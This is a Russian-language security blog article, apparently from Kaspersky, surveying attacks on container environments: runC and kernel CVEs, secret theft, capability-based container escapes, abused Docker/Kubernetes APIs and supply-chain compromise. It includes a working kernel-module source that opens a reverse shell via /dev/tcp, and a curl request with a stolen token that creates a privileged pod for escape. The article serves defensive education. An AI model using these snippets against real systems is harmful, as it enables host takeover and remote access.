Введение
Современные инфраструктуры повсеместно используют контейнеризацию для развертывания приложений, масштабирования сервисов и построения облачных платформ. Использование Docker, Kubernetes и других технологий стало стандартом эффективной автоматизации для корпоративных сред. Но вместе с ростом популярности контейнеров увеличивается и интерес злоумышленников к этой технологии, что мы отмечаем в рамках исследования сложных киберугроз. Например, APT-группа TeamPCP в одной из своих недавних атак скомпрометировала Checkmarx KICS в контексте сразу нескольких цепочек для разных векторов, включая заражение репозитория Docker Hub для дальнейшей кражи секретов Kubernetes и иной чувствительной информации. В зараженных образах распространялся стилер, который загружался в процессе сканирования KICS.
Сегодня атаки на контейнерные среды представляют собой полноценные многоэтапные сценарии, включающие атаку на цепочку поставок, кражу секретов Kubernetes, злоупотребление API оркестрации и попытки побега из контейнера. В этой статье мы рассмотрим основные векторы атак на контейнеры, которые остаются наиболее актуальными на сегодняшний день.
Принципы контейнеризации
Контейнер — это изолированная среда для выполнения кода, которая позволяет разграничить пространство для корректной и независимой работы. В отличие от виртуальной машины, контейнер использует одно ядро с операционной системой.
Для изоляции среды контейнер использует отдельное пространство имен процессов и виртуальную файловую систему. Его ресурсы ограничены и разделены с хостовой системой. Контейнерная изоляция строится поверх таких механизмов ядра Linux, как namespaces, cgroups, capabilities, seccomp.
Компрометация контейнера может способствовать достижению целей злоумышленников на хостовой системе. Рассмотрим актуальные векторы, релевантные для архитектуры реализации контейнеров и их инфраструктуры.
Актуальные векторы атак
Выделим основные и наиболее актуальные векторы атак на контейнерные среды, которые активно используются злоумышленниками:
- эксплуатация уязвимостей хостовой системы и компонентов среды выполнения контейнера;
- вредоносные действия внутри скомпрометированного контейнера;
- побег из контейнера с последующей компрометацией узла;
- эксплуатация ошибок конфигурации и небезопасного использования API для контейнеризации и оркестрации;
- атаки на цепочку поставок, включая заражение образов контейнеров и компрометацию CI/CD-процессов.
Каждый из перечисленных векторов может использоваться как отдельно, так и в рамках сложной многоэтапной атаки. На практике злоумышленники редко ограничиваются компрометацией одного контейнера. Основной целью атакующих зачастую является получение доступа к кластеру Kubernetes, системам хранения секретов или другим критически важным компонентам среды. Именно поэтому защита контейнерной инфраструктуры требует комплексного подхода, включающего контроль конфигураций, защиту среды выполнения, мониторинг активности и обеспечение безопасности цепочки поставок программного обеспечения. Рассмотрим подробнее каждый из представленных векторов.
Использование уязвимостей хостовой системы
Поскольку контейнер не обладает собственной изолированной ОС, уязвимости, затрагивающие ядро Linux или компоненты среды выполнения, остаются актуальными и при эксплуатации из контейнера.
Любая уязвимость, позволяющая повысить привилегии, выполнить произвольный код или нарушить механизмы изоляции, потенциально может быть использована злоумышленником после компрометации контейнера. Успешная эксплуатация подобных уязвимостей способна привести к выходу за пределы контейнера, компрометации узла Kubernetes или всего кластера, дальнейшему продвижению по инфраструктуре, краже секретов и выполнению вредоносных действий, вплоть до полного отказа сервисов. Стоит отметить, что наличие самой уязвимости не всегда приводит к компрометации, поскольку иногда для эксплуатации необходимы дополнительные параметры конфигурации или привилегии.
Приведем примеры нескольких уязвимостей, используемых в атаках на контейнерные среды.
- CVE-2019-5736 — одна из наиболее известных и показательных уязвимостей, связанных с контейнеризацией. Она затрагивала среду выполнения runC и позволяла злоумышленнику, уже имеющему доступ внутри контейнера, выполнять произвольный код на хостовой системе с root-привилегиями. Причиной уязвимости стала некорректная работа runC с файловым дескриптором собственного исполняемого файла через механизм /proc/self/exe. При запуске контейнера процесс runC временно выполнялся в его контексте, оставаясь при этом процессом хостовой системы. Это позволяло атакующему получить доступ к бинарному файлу runC и перезаписать его содержимое.
- CVE-2022-0492 — критическая уязвимость ядра Linux, позволяющая выполнить побег из контейнера и добиться выполнения произвольных команд на хостовой системе. Проблема была связана с некорректной проверкой привилегий при работе с механизмом cgroups release_agent. Уязвимость стала особенно опасной для контейнерных инфраструктур, поскольку позволяла злоумышленнику, уже имеющему возможность выполнения кода внутри контейнера, выйти за пределы изоляции и получить контроль над хостовой системой.
- CVE-2024-21626 — критическая уязвимость в runC, которая позволяла злоумышленнику получить доступ к файловой системе хоста из контейнера, а в определенных сценариях даже выполнить полноценный побег из него. Основной причиной проблемы стала некорректная работа runC с дескрипторами файлов и текущим рабочим каталогом процесса при запуске контейнеров и выполнении команд через
docker execили аналогичные механизмы.
Вредоносные действия внутри контейнера
Иногда для достижения целей злоумышленнику не требуется эксплуатировать сложные цепочки атак, включающие побег из контейнера, компрометацию кластера Kubernetes или дальнейшее продвижение по инфраструктуре. В ряде случаев сам контейнер уже содержит данные и ресурсы, представляющие ценность для атакующего. Например, в нем могут находиться:
- учетные данные пользователей и сервисов;
- API-ключи;
- токены авторизации;
- SSH-ключи;
- переменные окружения с секретами;
- токены ServiceAccount в Kubernetes;
- конфигурационные файлы;
- данные прикладного сервиса или базы данных.
Особенно часто подобные данные оказываются доступны из-за ошибок конфигурации или особенностей процессов. Например, секреты могут передаваться через переменные окружения, попадать в образы Docker на этапе сборки или монтироваться внутрь контейнера. В средах Kubernetes дополнительный интерес для злоумышленников представляют автоматически подключаемые токены ServiceAccount, позволяющие взаимодействовать с Kubernetes API.
Даже компрометация одного контейнера нередко предоставляет атакующему достаточно возможностей для дальнейших действий: получения доступа к внешним сервисам, компрометации облачной инфраструктуры, кражи пользовательских данных, выполнения операций от имени доверенного сервиса, закрепления в инфраструктуре. Кроме кражи данных, злоумышленники могут использовать скомпрометированный контейнер как площадку для выполнения вредоносной активности. Именно поэтому безопасность контейнерной инфраструктуры не ограничивается только защитой от побега. Даже изолированный контейнер, содержащий чувствительные данные или обладающий доступом к внутренним сервисам, может стать полноценной точкой компрометации инфраструктуры.
В контексте этого вектора нередко реализуются подходы и техники, применимые не только к контейнерным средам, но и к классическим системам. После получения доступа к контейнеру злоумышленник чаще всего оказывается в полноценной среде Linux, где могут использоваться стандартные методы постэксплуатации, сбора информации и закрепления.
Более подробно об ошибках конфигурации контейнеров и других небезопасных практиках, которые могут использоваться атакующими для выполнения вредоносных действий, мы рассказали в этой статье.
Побег из контейнера
Одним из наиболее опасных и распространенных векторов атак на контейнерную инфраструктуру является побег из контейнера. Под ним подразумевается нарушение механизмов изоляции контейнерной среды, при котором злоумышленник получает возможность взаимодействовать с хостовой системой.
Возможность побега из контейнера может возникать по множеству причин: вследствие эксплуатации уязвимостей, ошибок конфигурации контейнеров, а также небезопасного использования API для контейнеризации и оркестрации. Фактически побег из контейнера является логическим итогом большинства атак на контейнерную инфраструктуру, поскольку основной целью злоумышленника зачастую становится выход за пределы изолированной среды и получение доступа к хостовой системе или кластеру Kubernetes. Таким образом, побег из контейнера объединяет в себе значительную часть рассмотренных в этой статье векторов атак. При этом на практике одной из наиболее распространенных причин успешного побега из контейнера остаются именно ошибки конфигурации, поскольку они встречаются значительно чаще, чем эксплуатация сложных уязвимостей. Именно поэтому далее подробнее рассмотрим ошибки конфигурации контейнеров и связанные с ними сценарии атак.
Для лучшего понимания рисков, связанных с мисконфигурациями контейнеров, рассмотрим понятие привилегий (capabilities) в Linux-системах. Это механизм гранулярного предоставления процессам расширенных возможностей, позволяющий выполнять привилегированные действия без root-доступа. Далее под привилегиями мы будем понимать именно механизм capabilities в Linux.
Привилегированные контейнеры
Одной из наиболее опасных конфигураций является запуск контейнера с параметром --privileged. В этом режиме контейнер получает все привилегии Linux, доступ к устройствам хоста, возможность взаимодействия с интерфейсами ядра. Подобный контейнер практически перестает быть изолированным окружением и во многих случаях обладает возможностями, сопоставимыми с root-доступом на хостовой системе.
Рассмотрим простейший пример атаки побега из контейнера с параметром --privileged. При помощи утилиты capsh можно увидеть, что такой контейнер обладает практически всеми Linux-привилегиями. Кроме того, пространство процессов PID совпадает с хостовым, так как процессу с PID=1 соответствует init — первый системный процесс Linux (при иной конфигурации первым PID является идентификатор процесса, создавшего контейнер). Если запустить оболочку от процесса init утилитой nsenter, ожидаемым поведением будет создание процесса вне контейнера, что легко подтвердить при помощи команды hostname.
Мисконфигурации привилегий контейнера обуславливают широкое пространство для атак. Разберемся подробнее в способах реализации побега из контейнера при помощи конкретных привилегий.
CAP_SYS_ADMIN
CAP_SYS_ADMIN считается одной из наиболее опасных привилегий Linux в контексте контейнерной безопасности. Несмотря на то что привилегии Linux задумывались как механизм разделения возможностей суперпользователя на отдельные категории, именно CAP_SYS_ADMIN со временем стала включать значительное количество чувствительных операций ядра. В результате контейнер, обладающий этой привилегией, получает доступ ко множеству системных механизмов, напрямую влияющих на изоляцию контейнерной среды. Он получает возможности выполнять монтирование файловых систем, взаимодействовать с механизмом cgroups, отвечающим за распределение ресурсов, изменять параметры ядра в определенных пределах, работать с loop-устройствами и использовать различные механизмы управления пространствами имен. На практике это существенно размывает границу между контейнером и хостовой системой.
Особенно опасной эта привилегия становится в сочетании с другими ошибками конфигурации. Например, если для контейнера настроен параметр hostPath, злоумышленник после компрометации может смонтировать директории хостовой системы внутрь собственного окружения и получить доступ к критически важным файлам узла. Аналогично наличие доступа к директориям /proc или /sys позволяет взаимодействовать с внутренними механизмами ядра Linux, что способно увеличить масштабы компрометации.
Рассмотрим на наглядном примере, как наличие CAP_SYS_ADMIN может помочь злоумышленнику сбежать из контейнера. На изображении ниже представлен набор действий внутри контейнера, который имеет привилегии CAP_SYS_ADMIN и доступ к директориям хоста. Если смонтировать диск хоста в папку контейнера, злоумышленник сможет свободно пользоваться всеми файлами хостовой системы. Так, в данном примере представлена возможность перезаписать конфигурацию оболочки суперпользователя путем добавления туда любой вредоносной нагрузки.
CAP_SYS_MODULE
CAP_SYS_MODULE предоставляет прямой доступ к механизму загрузки и выгрузки модулей ядра. Взаимодействие с пространством ядра делает CAP_SYS_MODULE привилегией с высоким уровнем риска, в отличие от многих других привилегий, которые ограничиваются пространством пользователя.
С точки зрения архитектуры Linux, модули ядра представляют собой код, выполняющийся с максимальными привилегиями в пространстве ядра. Модули могут расширять функциональность системы, управлять устройствами, сетевым стеком, файловыми системами и другими критически важными компонентами. Именно поэтому возможность динамически загружать такие модули через CAP_SYS_MODULE означает возможность влиять на поведение всей операционной системы.
На практике CAP_SYS_MODULE крайне редко требуется в современных контейнерных приложениях. Наличие этой привилегии обычно связано с устаревшими архитектурами, системами мониторинга или специализированными драйверами, которым необходимо взаимодействие с ядром. Именно поэтому в современных инфраструктурах использование CAP_SYS_MODULE практически полностью запрещено. В большинстве сред она считается недопустимой, поскольку ее компрометация приводит не к локальному повышению привилегий внутри контейнера, а к выполнению кода в пространстве ядра.
Реализация побега из контейнера с помощью этой привилегии происходит в несколько этапов. Целью атаки в этом случае будет являться загрузка вредоносного модуля ядра Linux. Отметим, что он должен соответствовать версии ядра, для определения которой злоумышленнику необходимо выполнить дополнительные действия по разведке в системе. Такие атаки могут быть реализованы полностью внутри контейнера, если в нем содержатся необходимые утилиты для компиляции модуля и имеется доступ к директориям с зависимостями ядра. Однако чаще всего подобные утилиты отсутствуют в образе контейнера, поэтому атакующие подготавливают вредоносную нагрузку с необходимыми зависимостями на другом хосте, а затем либо транспортируют ее по сети, либо записывают ее в бинарный файл (например, используя echo).
Рассмотрим побег из контейнера при помощи модуля ядра на примере следующей полезной нагрузки:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE("Test"); MODULE_AUTHOR("Test"); MODULE_DESCRIPTION("reverse shell module"); MODULE_VERSION("1.0"); char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); |
Этот модуль при загрузке запускает реверс-шелл. После сборки и доставки нагрузки в контейнер атакующему остается загрузить модуль в пространство ядра, предварительно запустив прослушивание порта на адресе, указанном в полезной нагрузке.
CAP_SYS_PTRACE
Привилегия CAP_SYS_PTRACE предоставляет процессу расширенные возможности взаимодействия с другими процессами в системе через механизм ptrace. Этот механизм предназначается для отладки и трассировки приложений, однако его неправильное использование в контейнерных средах способно серьезно ослабить изоляцию и в отдельных сценариях привести к побегу из контейнера и последующей компрометации хостовой системы.
Главная опасность CAP_SYS_PTRACE заключается в возможности читать и изменять память других процессов, управлять их выполнением, внедрять код и получать доступ к чувствительным данным, находящимся в памяти. Кроме того, CAP_SYS_PTRACE позволяет выполнять инъекции в процессы.
После компрометации контейнера злоумышленник может использовать ptrace для подключения к хостовым процессам. Необходимо отметить, что это возможно только в случае, если контейнеру доступны PID хоста, что происходит при наличии конфигурации hostPID: true. Атакующий получает возможность выполнить инъекцию в хостовый процесс и, например, открыть реверс-шелл — в большинстве случаев для этого необходим дополнительный вредоносный код. На изображении ниже представлена демонстрация такой атаки, реализованной по публично доступному PoC.
CAP_NET_ADMIN
CAP_NET_ADMIN предоставляет широкие возможности управления сетевым стеком Linux-системы. В случае компрометации контейнера наличие этой привилегии значительно ослабляет сетевую изоляцию и создает дополнительные возможности для дальнейшего развития атаки.
Контейнер с привилегией CAP_NET_ADMIN получает возможность изменять параметры сетевых интерфейсов, управлять таблицами маршрутизации, взаимодействовать с механизмами фильтрации трафика и изменять поведение сетевого стека. Хотя большая часть операций формально ограничивается сетевым пространством имен контейнера, на практике эта привилегия нередко используется вместе с мисконфигурациями, такими как наличие параметра hostNetwork: true, которые позволяют получить доступ к хостовым сетевым ресурсам.
Получив доступ к контейнеру, атакующий может использовать данную привилегию для модификации его сетевого поведения и организации дальнейших атак внутри инфраструктуры. Одним из наиболее распространенных сценариев является изменение правил iptables и перенаправление трафика. Это позволяет организовывать MitM-атаки, перехватывать внутренний трафик и скрывать собственную вредоносную активность.
Необходимо подчеркнуть, что существует множество других привилегий, которые позволяют сбежать из контейнера в связке с другими мисконфигурациями; мы перечислили лишь несколько наиболее серьезных и распространенных.
Использование API оркестрации
Одним из наиболее опасных и при этом распространенных векторов атак на контейнерную инфраструктуру является эксплуатация ошибок конфигурации API управления контейнерами и систем оркестрации. В отличие от атак, требующих эксплуатации уязвимостей ядра или реализации побега из контейнера, этот сценарий зачастую не требует сложных техник: злоумышленнику достаточно получить доступ к интерфейсам управления контейнерной средой.
Проблема заключается в том, что API контейнерных платформ фактически обладают привилегиями управления всей инфраструктурой. Docker API, Kubernetes API и kubelet API позволяют создавать контейнеры, изменять конфигурации, получать доступ к файловой системе узлов и выполнять команды внутри уже запущенных контейнеров. При неправильной настройке подобные интерфейсы превращаются в точку компрометации всей среды.
Одним из наиболее известных примеров является открытый Docker API. Если демон Docker доступен по TCP без TLS или аутентификации, злоумышленник может удаленно взаимодействовать с хостовой системой как локальный администратор: запускать новые контейнеры, сконфигурированные для атаки, монтировать файловую систему хоста и выполнять произвольные команды внутри контейнеров через API. На практике компрометация Docker API часто приводит к полному захвату узла за несколько запросов.
Аналогичные риски существуют и в средах Kubernetes. Kubernetes API представляет собой центральную точку управления всем кластером. При наличии токена ServiceAccount, слабых политик RBAC или в случае ошибочно опубликованного сервера API злоумышленник может выполнять широкий спектр операций.
Для примера атаки допустим, что злоумышленник скомпрометировал токен Kubernetes API для привилегированной учетной записи. Сначала для этого токена определяется набор привилегий, например, при помощи скрипта, который будет делать запросы для каждой отдельной привилегии. Таким образом составляется полный список привилегий на Kubernetes.
Вывод скрипта показывает, что полученный токен API имеет крайне высокие привилегии в кластере. Следующим закономерным этапом атаки станет создание привилегированного контейнера и эксплуатация любого из описанных выше методов побега. В нашем примере для создания контейнера использовался POST-запрос к API с помощью curl:
|
1 |
curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H "Authorization: Bearer <Token>" -H "Content-Type: application/json" -d @pod.json |
В pod.json передается необходимая для последующего побега конфигурация контейнера:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
{ "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "privileged-pod-from-api" }, "spec": { "containers": [ { "name": "debug-container", "image": "ubuntu:latest", "command": ["sleep", "3600"], "securityContext": { "privileged": true } } ] } } |
Создав привилегированный контейнер, атакующий получит возможность реализовать побег из него с последующей компрометацией хостовой системы.
Существуют и другие сценарии атак, связанные с API-запросами. Так, при монтировании сокета Docker внутрь контейнера атакующий получает возможность взаимодействовать с демоном Docker напрямую. После компрометации такого контейнера злоумышленник фактически наследует права демона, а значит, получает контроль над всеми контейнерами на хосте.
Чтобы реализовать такую атаку, злоумышленники ищут контейнеры с примонтированными сокетами. Дальнейшее развитие атаки повторяет уже описанное выше: выполняется API-запрос на создание привилегированного контейнера, после чего аналогично с помощью API эксплуатируется любой способ побега.
Атака на цепочку поставок
В отличие от классических атак, направленных на эксплуатацию уязвимостей уже развернутого контейнера, этот подход ориентирован на компрометацию компонентов еще до момента их запуска в среде выполнения. Современная контейнерная инфраструктура тесно интегрирована с большим количеством внешних компонентов. В результате безопасность контейнера напрямую зависит не только от самого приложения, но и от всей цепочки сборки и доставки образа. Компрометация любого из этих этапов потенциально позволяет злоумышленнику внедрить вредоносный код сразу во множество контейнеров и сервисов.
Одним из наиболее распространенных сценариев являются атаки через заражение контейнерных образов. Во многих организациях разработчики используют публичные образы из Docker Hub или иных доступных источников без полноценной проверки их происхождения и содержимого. Злоумышленники активно публикуют зараженные образы, внешне имитирующие популярные сервисы и утилиты. После запуска такого контейнера внутри инфраструктуры атакующий получает возможность выполнения собственного кода уже в доверенной среде организации.
Кроме того, одной из наиболее частых целей атак становятся CI/CD-системы развертывания контейнеров. Платформы сборки и доставки приложений обычно обладают расширенными привилегиями. Например, после получения доступа к CI/CD-системе атакующий может незаметно модифицировать этапы сборки образа Docker. Вместо изменения исходного кода приложения вредоносная логика может быть внедрена в сам конвейер. Дополнительная команда в процессе сборки может загрузить сторонний бинарный файл, добавить скрытый скрипт, изменить конфигурацию контейнера или внедрить механизм удаленного управления. Внешне контейнер будет выглядеть полностью легитимным, поскольку его основная функциональность останется неизменной.
Выводы
В целом современные атаки на контейнерные среды показывают, что основная угроза возникает не только внутри самого контейнера, но и в реализации контейнерной инфраструктуры. Контейнеры часто используются как промежуточная среда для закрепления внутри системы: после первоначальной компрометации злоумышленники стремятся либо выйти на уровень хостовой ОС, либо получить доступ к управлению инфраструктурой через API контейнеризации и оркестрации. Для этого эксплуатируются слабые конфигурации, избыточные привилегии и ошибки в изоляции.
Кроме того, наблюдается тенденция смещения атак в сторону конвейеров CI/CD, где компрометация одной части может привести к захвату всей инфраструктуры. Поэтому безопасность контейнерных сред в текущих реалиях включает в себя защиту хоста, строгий контроль прав в оркестраторе, минимизацию привилегий контейнеров и валидацию всей цепочки поставки. Наше решение Kaspersky Container Security спроектировано с учетом особенностей контейнерных сред и обеспечивает защиту на разных уровнях: от образов контейнеров до хостовой системы, помогая реализовать принцип безопасной разработки ПО.









Контейнеры в огне: от побега на хост до атак на цепочку поставок